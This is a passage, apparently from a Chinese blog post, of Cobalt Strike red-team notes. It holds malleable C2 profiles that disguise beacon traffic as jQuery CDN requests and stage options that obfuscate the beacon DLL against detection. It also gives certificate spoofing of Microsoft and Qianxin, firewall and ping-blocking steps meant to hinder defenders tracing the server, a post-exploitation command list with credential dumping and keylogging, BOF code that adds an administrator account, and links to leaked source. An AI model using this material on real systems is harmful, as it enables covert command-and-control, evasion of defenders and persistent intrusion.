		output {
			base64;
			prepend "<html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>Sorry, no data corresponding your request.<!--havex";
			append "havex--></body></html>";
			print;
			        output {
            			print;
        					}
		}
	}
}




# http post 请求
# define indicators for an HTTP POST
http-post {
	set uri "/modules/mod_search.php /blog/wp-includes/pomo/src.php /includes/phpmailer/class.pop3.php /system/dept/edit";

	client {
		header "Content-Type" "application/json";
		#header "Content-Type" "application/octet-stream";
		header "Connection" "Close"; 
		header "Accept" "*/*";

		# transmit our sess id as /whatever.php?id=[identifier]
		id {
			netbios;
            base64url;
			# parameter "id";
			parameter "DeptName";
		}

		# post our output with no real changes
		output {
			base64;
			print;
		}
	}

	# The server's response to our HTTP POST
	server {
		header "Server" "Apache/2.2.26 (Unix)";
		header "X-Powered-By" "PHP/5.3.28";
		header "Cache-Control" "no-cache";
		header "Content-Type" "text/html";
		header "Keep-Alive" "timeout=3, max=100";
		header "Content-Type" "application/json";
		header "Pragma" "no-cache";
        header "Connection" "close";

		# this will just print an empty string, meh...
		output {
			prepend "blah blah blah";
			mask;
			base64;
			prepend "<html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>Sorry, no data corresponding your request.<!--havex";
			append "havex--></body></html>";
			print;
		}
	}
}

 

       
  

     
    
 # 不同DNS通道说明  
 # mode dns # 是DNS A记录数据通道  
 # mode dns6 # 是DNS AAAA记录数据通道  
 # mode dns-txt 是DNS TXT记录数据通道,DNS TXT记录是莫热门的数据通道  
    
 # SSH Beacon  
 # 使用SSH协议,进行P2P通信  
 set ssh_banner "OpenSSH_7.4 Debian (proticol 2.0)";   
 # 配置SSH Beacon 的bannerset ssh_pipename "wkssvc##"; # 配置ssh通信命名管道  


 # beacon是通过stager下载到内存中去的。在beacon注入目标内存之前,http-get和http-post都不会生效。你可以自己定义stager下载stage的行为。
 
 
 
 
 http-stager {    # http-stargruri配置    set uri_x86 "/jquery-3.3.1.slim.min.js"; # 32位系统http beacon访问路径    set uri_x64 "/jquery-3.3.2.slim.min.js"; # 64位系统http beacon访问路径  
     # server配置    server {        # header结构        # header "类型" "类型值";        header "Server" "MicroSoft-IIS/8.0";        header "Cache-Control" "max-age=0, no=cache";        header "Connection" "Keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";  
         output {            prepend "Jquery Code"; # 前置字符串            append "Jqery end COde"; # 结尾字符串            print; # 将数据存在body中        }    }  
     # Clietn配置    client {        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Accept-Language" "en-US,en;q=0.5";        header "Referer" "http://code.jquery.com/";        header "Accept-Encodeing" "gzip, default";    }}  


 
 http-get {    

 
	 set uri "/jquery-3.3.1.min.js"; # 配置客户端请求URI    

	 set verb "GET"; # 配置客户端请求方式  
	 
     client {          
     header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";          
     header "Referer" "http://code.jquery.com/";          
     header "Accept-Encodeing" "gzip, default";  
         metadata {              
         base64url;              
         prepend "__cfduid=";              
         header "Cookie";        
         		}   
         	 }  
         	 
     server {          
     header "Server" "NetDNA-cache/2.2";          
     header "Cache-Control" "max-age=0, no-cache";          
     header "Pragma" "no-cache";          
     header "Connection" "keep-alive";          
     header "Content-Type" "application/javascript; charset=utf-8";  
         output {              
         mask; # xor异或加密             
          base64url; # base64编码后,数据放入url中                          
          # 当出现两个prepend时,会先执行第二个,然后执行第一个             
           prepend "Jquery Stop Code"; # 前置字符串              
           prepend "Jquery Start Code"; # 前置字符串              
           append "Jqery end Code"; # 结尾字符串              
           print; # 将数据存在body中        }    }}  
             
 http-post {      
 set uri "/jquery-3.3.1.min.js";      
 set verb "POST";  
     client {         
      header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";         
       header "Referer" "http://code.jquery.com/";        header "Accept-Encoding" "gzip, deflate";  
         id {              
         mask;              
         base64url;              
         parameter "__cfduid";        }  
         output {             
          mask;              
          base64url;              
          print;        }    }  
    
     server {          
     header "Server" "NetDNA-cache/2.2";          
     header "Cache-Control" "max-age=0, no-cache";          
     header "Pragma" "no-cache";          
     header "Connection" "keep-alive";          
     header "Content-Type" "application/javascript; charset=utf-8";  
         output {              
         mask; # xor异或加密              
         base64url; # base64编码后,数据放入url中  
             prepend "Jquery Code"; # 前置字符串              
             append "Jqery end COde"; # 结尾字符串              
             print; # 将数据存在body中          
                    }     
              }  
        }

 
       
     




java
 # This is a sample C2 profile for Cobalt Strike
# It mimics the traffic of a jQuery library hosted on a CDN
# It uses HTTPS as the transport and AES encryption for the data
# It also uses some Malleable PE options to obfuscate the Beacon DLL

# The set keyword defines a global option
set sleeptime "30000"; # Beacon's sleep time in milliseconds
set jitter "20"; # Beacon's sleep time jitter, percentage
set maxdns "255"; # Maximum bytes for DNS requests
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"; # User agent for HTTP requests

# The http-config section defines the HTTP communication options
http-config {
    set uri "/jquery-3.6.0.min.js"; # URI endpoint for HTTP requests
    client {
        header "Host" "code.jquery.com"; # Host header for HTTP requests
        header "Accept" "*/*"; # Accept header for HTTP requests
        header "Accept-Language" "en-US,en;q=0.9"; # Accept-Language header for HTTP requests
        metadata {
            base64url; # Encoding for metadata, use base64 with URL-safe characters
            prepend "jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license"; # Prepend a string to metadata
            append "\n//# sourceMappingURL=jquery-3.6.0.min.map"; # Append a string to metadata
        }
    }
    server {
        header "Server" "nginx"; # Server header for HTTP responses
        header "Content-Type" "application/javascript; charset=utf-8"; # Content-Type header for HTTP responses
        output {
            base64url; # Encoding for output, use base64 with URL-safe characters
            prepend "\n/* "; # Prepend a string to output
            append " */\n"; # Append a string to output
        }
    }
}

# The https-certificate section defines the SSL certificate options
https-certificate {
    set keystore "jquery.store"; # Path to the Java keystore file with the SSL certificate
    set password "jquery"; # Password for the Java keystore file
    set stagerverify "false"; # Whether or not to verify the SSL certificate for stagers
    set pivottls "false"; # Whether or not to use SSL for peer-to-peer communication
}

# The dns-beacon section defines the DNS communication options
dns-beacon {
    set domain "example.com"; # Domain name for DNS requests
    set subhost ""; # Subhost prefix for DNS requests, empty means random 4-8 characters
    set beacon "a.b.c.d"; # IP address encoded in the A record for beacon requests, use . for random octet
    set get_A "a.b.c.d"; # IP address encoded in the A record for download requests, use . for random octet
    set get_AAAA ""; # IPv6 address encoded in the AAAA record for download requests, empty means disabled
    set get_TXT ""; # String encoded in the TXT record for download requests, empty means disabled
    set put_metadata ""; # String encoded in the TXT record for upload requests, empty means disabled
    set put_output ""; # String encoded in the TXT record

c
set sample_name "MicrosoftUpdate";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书,这里伪造微软升级
https-certificate {
set CN "US";
set O "MicrosoftUpdate";
set C "en";
set L "US";
set OU "MicrosoftUpdate";
set ST "US";
set validity "365";
}
#设置cliet内容和方式
code-signer{
set keystore "yourname.store";
set password "yourpass";
set alias "ssl";
}
http-post {
set uri " your uri "
client {
省略.........
id {
netbios;
省略.........
}
output {
base64;
prepend " ";
print;
}
省略.........




stage {
    set checksum       "0";
  #设置 beacon Reflective DLL 的编译时间

  # PE头编译时间
    set compile_time   "25 Oct 2016 01:57:23";
  #设置 beacon Reflective DLL 的PE标头中的EntryPoint值
    set entry_point    "170000";
    #set image_size_x86 "6586368";
    #set image_size_x64 "6586368";
  #设置 beacon Reflective DLL 的PE头名字
    set name     "CCCCCCNNNNNNMMMMMM.dll";
  
  #避免 beacon 所在内存为 rwx
    set userwx      "true";
    #set cleanup     "true";
    set sleep_mask     "true";
    #set stomppe     "true";
    #set obfuscate     "true";
  #设置 beacon Reflective DLL 编译器插入的元信息
  #设置 beacon Reflective DLL 编译器插入的元信息
    set rich_header    "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    
  
    #obfuscate beacon before sleep.
  #在睡眠时间对内存进行混淆
    #set sleep_mask "true";
    
    #https://www.cobaltstrike.com/releasenotes.txt -> + Added option to bootstrap Beacon in-memory without walking kernel32 EAT
    #set smartinject "true";
    
    #new 4.2. options
    #allocator options include HeapAlloc, MapViewOfFile, VirtualAlloc, or you can use module stomp.
    #set allocator "HeapAlloc";
    #set magic_mz_x86 "MZRE";
    #set magic_mz_x64 "MZAR";
    #set magic_pe "EA";

#module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.

    set module_x86 "wwanmm.dll";
    set module_x64 "wwanmm.dll";

#transform allows you to remove, replace, and add strings to beacon's reflective dll stage.
#转换允许您删除、替换和添加字符串到beacon的反射dll阶段。
    transform-x86 {
    #在Beacon Reflective DLL之前插入一个字符串,防止通过dll前几个字节来检测
        prepend "\x90\x90\x90";
    #在Beacon Reflective DLL之中替换一个字符串,防止通过特定的字符串来监测
        strrep "ReflectiveLoader" "t1";    
        strrep "beacon" "test";
    #在Beacon Reflective DLL之后添加一个字符串,防止通过DLL最后几个字节来监测
  append "\x90\x90\x90";
        }

    transform-x64 {
        prepend "\x90\x90\x90";
        strrep "ReflectiveLoader" "t2";
        strrep "beacon" "test";
        append "\x90\x90\x90";
        }
    
    
    将beacon字符串替换为test,将ReflectiveLoader 字符串替换为 t2
    ( 也可以是:strrep “beacon.x64.dll” “test”;)
    
 注意:   set sleep_mask “true”; #在睡眠时间对内存进行混淆。
默认是开启的,开启情况下,不能提取到内存特征,保存到本地的内存文件都是进行混淆的,
如果是验证字符串特征是否修改成功,此处应该注释掉#set sleep_mask “true”;

https ssl证书指纹信息

https-beacon通信中,默认使用空证书建立加密通道,流量中可以看见这一过程

生成新的证书文件

要记住名字(xxxxxxxxx.store)和自己设置的key

一会还要用

这里伪造微软升级签名



keytool -genkey -alias ssl -keyalg RSA -validity 36500 -keystore ssl.store  
 Enter keystore password:    
 Re-enter new password:   
 What is your first and last name?  
   [Unknown]:  US  
 What is the name of your organizational unit?  
   [Unknown]:  MicrosoftUpdate  
 What is the name of your organization?  
   [Unknown]:  MicrosoftUpdate  
 What is the name of your City or Locality?  
   [Unknown]:  US  
 What is the name of your State or Province?  
   [Unknown]:  US  
 What is the two-letter country code for this unit?  
   [Unknown]:  US  
 Is CN=US, OU=MicrosoftUpdate, O=MicrosoftUpdate, L=US, ST=US, C=US correct?  
   [no]:  y 

Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 36,500 days  
     for: CN=US, OU=MicrosoftUpdate, O=MicrosoftUpdate, L=US, ST=US, C=US  
参数 含义 
`-alias` 指定别名 
`-storepass` 指定更改密钥库的存储口令 
`‐keypass pass` 指定更改条目的密钥口令 
`-keyalg` 指定算法 
`-dname` 指定所有者信息

在这里插入图片描述
cs的默认ssl证书信息也很重要,不然指纹信息也很明显。默认的是(在keytool那行往后翻)

 CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth
我们给他改改比如改成
 CN=it, OU=it, O=it, L=it, S=it, C=it 

可以看见新生成的ssl证书
在这里插入图片描述
在这里插入图片描述
迁移到PKCS12标准格式

 keytool -importkeystore -srckeystore ./ssl.store -destkeystore ./ssl.store -deststoretype pkcs12
 Enter source keystore password:    
 Entry for alias ssl successfully imported.  
 Import command completed:  1 entries successfully imported, 0 entries failed or cancelled  
  Warning:  
 The original keystore "./ssl.store" is backed up as "./ssl.store.old"...  

在这里插入图片描述

# generate a certificate
	# naturally you're welcome to replace this step with your own permanent certificate.
	# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
	# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
	# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
	# is printed so users may have a chance to verify they're not being owned.
if [ -e ./cobaltstrike.store ]; then
	print_info "Will use existing X509 certificate and keystore (for SSL)"
else
	print_info "Generating X509 certificate and keystore (for SSL)"
	keytool -keystore ./cobaltstrike.store -storepass Mannix123456 -keypass Mannix123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=www.qianxin.com, OU=北京奇安信科技有限公司, O=运维部, L=北京, S=北京, C=CN"
fi

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=54321 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=Mannix123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer $*

dns异常返回值

dns-beacon通信中,
默认使用cdn.、www6.、api.、www.、post.为开头发起dns请求,
并且查询结果伴随0.0.0.00.0.0.800.0.0.241等非常规ip。

强特征

chechsum8

运行staging模式的pe文件,


会向指定服务器的checksum8路径发起请求来下载stage。
即使通过profile文件改变下载地址,但c2服务器依然会对checksum8地址请求作出响应。



# https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.6.profile
http-stager {  
    set uri_x86 "/jquery-3.3.1.slim.min.js";
    set uri_x64 "/jquery-3.3.2.slim.min.js";
    ...
}

ja3/ja3s

ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值(md5),

相同版本相同系统下指纹相同,
该特征与操作系统、cobaltstrike版本有关,profile文件无法对其修改。

win10-https-beacon-ja3指纹:72a589da586844d7f0818ce684948eea
centos-cs4.4-ja3s指纹:fd4bc6cea4877646ccd62f0792ec0b62

CDN+域前置+云函数

服务器前置

VPS上的环境配置以及防火墙配置
查看yum库中的java安装包 :
yum -y list java*

apt list java*
Listing... Done
java-common/stable,stable 0.72 all
java-policy/stable,stable 0.57 all
java-propose-classpath/stable,stable 0.78 all
java-wrappers/stable,stable 0.3 all
java2html/stable,stable 0.9.2-6 amd64
java3ds-fileloader/stable,stable 1.2+dfsg-4 all
javacc-doc/stable,stable 5.0-8.1 all
javacc4-doc/stable,stable 4.0-2 all
javacc4/stable,stable 4.0-2 all
javacc/stable,stable 5.0-8.1 all
javahelp2-doc/stable,stable 2.0.05.ds1-9.1 all
javahelp2/stable,stable 2.0.05.ds1-9.1 all
javahelper/stable,stable 0.78 all
javamorph/stable,stable 0.0.20100201-3 all
javascript-common/stable,stable,now 11+nmu1 all [installed,automatic]


安装需要的jdk版本的所有java程序:yum -y install java-1.8.0-openjdk*        
--install替换为remove为卸载

Debian上安装Java jdk8。有两种主要的安装选项,一种是使用Debian自带的OpenJDK,另一种是使用Oracle官方提供的JDKOpenJDKJava的开源实现,与Java 8兼容。Oracle JDKJava的原始版本,由Oracle维护和开发。从Java 11开始,这两种选项在功能上是相同的1。你可以根据自己的需求和许可选择合适的版本。

如果你想使用OpenJDK,你可以执行以下命令:

首先更新你的apt包索引:
sudo apt update

然后安装默认的JRE:
sudo apt install default-jre

如果你需要JDK来编译和运行一些特定的Java软件,你可以安装默认的JDK:
sudo apt install default-jdk

检查安装是否成功:
java -version

如果你想使用Oracle JDK,你需要执行以下命令:

首先安装software-properties-common包,以便使用apt-add-repository命令:
sudo apt install software-properties-common

然后添加Oracle JDK的仓库到你的源列表,并导入相关的密钥:
sudo add-apt-repository "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main"

更新你的apt包索引:
sudo apt update

安装Oracle JDK 8:
sudo apt install oracle-java8-installer

检查安装是否成功:
java -version




whereis  java.exe
java: /usr/bin/java /usr/share/java /usr/share/man/man1/java.1.gz

(安装完之后,默认的安装目录是在: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64)





关闭防火墙


查看java版本:java -version  
关闭防火墙 防止CS连接出问题
systemctl disable firewalld.service     ---禁止防火墙自启动
systemctl stop firewalld.service        ---执行停止运行防火墙命令

Debian上可能有不同的防火墙工具,
如iptables,firewalld或ufw。
你需要先确定你的系统上使用的是哪种防火墙工具,然后执行相应的命令来关闭它。

如果你使用的是iptables,你可以执行以下命令来停止和禁用iptables服务:

停止iptables服务:
sudo service iptables stop

禁用iptables服务:
sudo update-rc.d -f iptables remove

如果你使用的是firewalld,你可以执行以下命令来停止和禁用firewalld服务:

停止firewalld服务:
sudo systemctl stop firewalld

禁用firewalld服务:
sudo systemctl disable firewalld

如果你使用的是ufw,你可以执行以下命令来停止和禁用ufw服务:

停止ufw服务:
sudo ufw disable

禁用ufw服务:
sudo systemctl disable ufw


防止蓝方溯源时ping通 
systemctl status firewalld               ---防火墙状态
systemctl start firewalld                ---开启防火墙并设置开机自启
systemctl enable firewalld               ---开启防火墙并设置开机自启
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all  ---服务器禁ping   



开放端口


firewall-cmd --zone=public --add-port=22/tcp --permanent 
firewall-cmd --zone=public --add-port=60050/tcp --permanent     
# 此端口是我的CS服务器开放端口
---"--permanent " 开启22端口永久生效  --add开启  --remove关闭  --批量10-500
firewall-cmd --reload                           ---- 重载防火墙设置,使设置生效
firewall-cmd --zone=public --query-port=22/tcp  ----查看22端口是否开启
firewall-cmd --zone=public --list-ports         ----查看当前系统开启的所有端口
# 之后要使用木马连接的端口都可以通过上述命令开放 (都是手动是要累死我 作为参考吧 我不用)
# 这些都自己考虑吧  


限制IP段


firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="123.56.0.0/16" drop'   
---#禁止一个IP段,比如禁止123.56.161.*
firewall-cmd --permanent --remove-rich-rule='rule family=ipv4 source address="123.56.161.140" drop'
---#禁止机器IP(123.56.161.140)从防火墙中删除 

英文名词翻译对照表


名词 翻译 注释  
 Artifact Kit    Artifact 工件集
 Data Channel    数据通道  
 Data Model 数据模型  
 External C2 外置 C2  
 Foreign  Listener(s)  对外监听器  
 Keystroke Logger 键盘记录器  
 Malleable C2 Profile C2 拓展文件  
 Named Pipe(s)  命名管道  
 Network  Indicators 网络流量指标  
 Payload Staging 分阶段投递 Payload  
 Peer-to-peer Communication 对等通信  
 Peer-to-peer C2 对等 C2  
 Pipe 管道  
 Pivot Graph Pivot 图  
 Port Bending Redirector 端口弯曲重定向器   
 例如,接受来自 80443 端口的连接  
 但将连接路由到团队服务器开在另一个端口上的连接,这样的重定向器。  
 ​  
 Post-Exploitation 后渗透  
 PowerShell one-liner PowerShell单行程序  
 Session 会话  
 Sessions Table 会话表  
 Strategic Cyber LLC  
 StrategicCyber 责任有限公司  
 Cobalt Strike 是 Strategic Cyber 责任有限公司的产品  
 ​  
 System Profiler 是一个探针  
 Targets Table 目标表  
 Token 令牌


命令快查

beacon命令

 


BeaconCommands
===============
    Command                   Description
    -------                   -----------
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peerover TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
   execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
cobalt strike 3.11 版本引入的一种新功能,
允许在目标系统上运行 .NET 可执行程序集(executable assembly),而不需要将其写入磁盘。
execute-assembly 命令接受一个本地的可执行程序集文件作为参数,
并在目标系统上创建一个临时进程,将可执行程序集注入到该进程中,并执行它。
这种方式可以利用 .NET 框架提供的功能,而不需要编写 shellcode 或者使用其他技术。





    exit                      退出beacon
    getprivs                  Enable system privileges oncurrent token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peerover a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注      
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID forspawned post-ex jobs
    ps                        显示进程列表
    psexec                    Use a service to spawn asession on a host
    psexec_psh                Use PowerShell to spawn asession on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program underanother PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session
    spawnas                   Spawn a session as anotheruser
    spawnto                  Set executable tospawn processes into
    spawnu                    Spawn a session underanother PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    Disconnect from parentBeacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话
    argue                      进程参数欺骗

快捷键

在这里插入图片描述

UDRL

用户自定义反射加载器(User Defined Reflective Loader)的缩写,
是 cobalt strike 4.4 版本引入的一种新功能,
允许用户创建和使用自己的反射加载器,替换默认的反射加载器。
反射加载器是一段代码,用于将 Beacon DLL 加载到内存中,
并解析其导入表、重定位表等信息。
使用 UDRL 可以实现更多的定制化和逃避检测的能力。

Beacon 对象文件 BOF

缓冲区溢出(Buffer Overflow)的缩写,是一种常见的漏洞利用技术,
可以通过向目标程序输入超过其预期长度的数据,覆盖其栈空间或堆空间中的重要内容,从而改变程序的执行流程,执行恶意代码或者获取更高的权限。

一个已编译的 C 程序,按照约定编写,

允许其在 Beacon 进程内执行并使用内部 Beacon API。
BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。

BOF 的占地面积较小。它们在 Beacon 进程内部运行,
并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。

#include <windows.h>
#include“beacon.h”
void go(char * args, int alen) {
  BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}

这里的beacon.h头文件的下载地址如下:
https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h
使用 Visual Studio 进行编译也可以使用MinGW进行编译。


cl.exe /c /GS- hello.c /Fo hello.obj
这样编译的话可能会报错,不包括路径集等等。
需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考
https://blog.csdn.net/weixin_41115751/article/details/89817123

在这里插入图片描述
我们可以通过
GetProcAddress,
LoadLibraryA,
GetModuleHandle 来调用我们想要的windows API。

go函数添加用户


#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF
  //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
#else
  printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

  return FALSE;
}
#pragma endregion



typedef DWORD NET_API_STATUS;

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
  USER_INFO_1 UserInfo;
  DWORD dwLevel = 1;
  DWORD dwError = 0;

  UserInfo.usri1_name = (TCHAR*)L"test123";            // 账户    
  UserInfo.usri1_password = (TCHAR*)L"Test@#123";      // 密码
  UserInfo.usri1_priv = USER_PRIV_USER;
  UserInfo.usri1_home_dir = NULL;
  UserInfo.usri1_comment = NULL;
  UserInfo.usri1_flags = UF_SCRIPT;
  UserInfo.usri1_script_path = NULL;

  NET_API_STATUS nStatus;

  nStatus = NETAPI32$NetUserAdd(
    NULL,
    dwLevel,
    (LPBYTE)&UserInfo,
    &dwError
  );
  if (nStatus == NERR_Success) {
  BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);
    }
    else {
        BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);
    }

  LOCALGROUP_MEMBERS_INFO_3 account;
  account.lgrmi3_domainandname = UserInfo.usri1_name;

  NET_API_STATUS aStatus;

  aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  if (aStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);
  }
  else {
    BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);
  }
  
}
#else

void main(int argc, char* argv[]) {
  
}

#endif

使用inline-execute调用
在这里插入图片描述

动态函数

调用windows API之外, 使用动态函数来进行解析。
将Win32 API的声明和调用变成如下格式:

NETAPI32$NetUserAdd
左边是DLL右边是函数名

BOF开发模板是:

https://github.com/securifybv/Visual-Studio-BOF-template
放到VS的模板目录。
在这里插入图片描述在这里插入图片描述
创建出来的文件是Source.cpp,也就是C++的文件
将这个文件复制出来然后改成C文件
在这里插入图片描述
在这里插入图片描述
勾选前两个即可。
在这里插入图片描述
在这里插入图片描述

入口

go函数就是BOF的入口
CS上执行inline-execute命令的时候,就会调用go函数
将win32相关API写到go函数中
获取当前用户名:


#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
  //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
  printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

  return FALSE;
}
#pragma endregion

DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {

  char username[1024];
  DWORD usernameLength = sizeof username;
  ADVAPI32$GetUserNameA(username, &usernameLength);
  BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
}
#else

void main(int argc, char* argv[]) {

}

#endif

在这里插入图片描述

按照我的理解的话其实就是将win32 API转换成如下格式正常调用即可。

DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

参考文章

干货|不出网上线CS的各种姿势

https://cloud.tencent.com/developer/article/2036092

内网安全-流量隧道(一)不出网CS上线&正反向&端口转发_cs转发上线-CSDN博客

内网安全-流量隧道(一)不出网CS上线&正反向&端口转发_cs转发上线-CSDN博客

深入研究cobalt strike malleable C2配置文件

https://xz.aliyun.com/t/2796

参考示例C2文件

https://github.com/threatexpress/malleable-c2

cobaltstrike版本一览

https://verify.cobaltstrike.com/

cobalt strike 4.7 源码

http://www.aqwu.net/wp/?p=556

cobalt strike 4.x 源码

https://www.cnblogs.com/XuyeZi/p/16505470.html
链接:https://pan.baidu.com/s/1-u0R0bTQJv-EQzWQNFjyFg
提取码:v2do

AM0N-Eye 定制版CS

https://github.com/S3N4T0R-0X0/AM0N-Eye

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

amingMM

你的鼓励将是我创作的最大动力

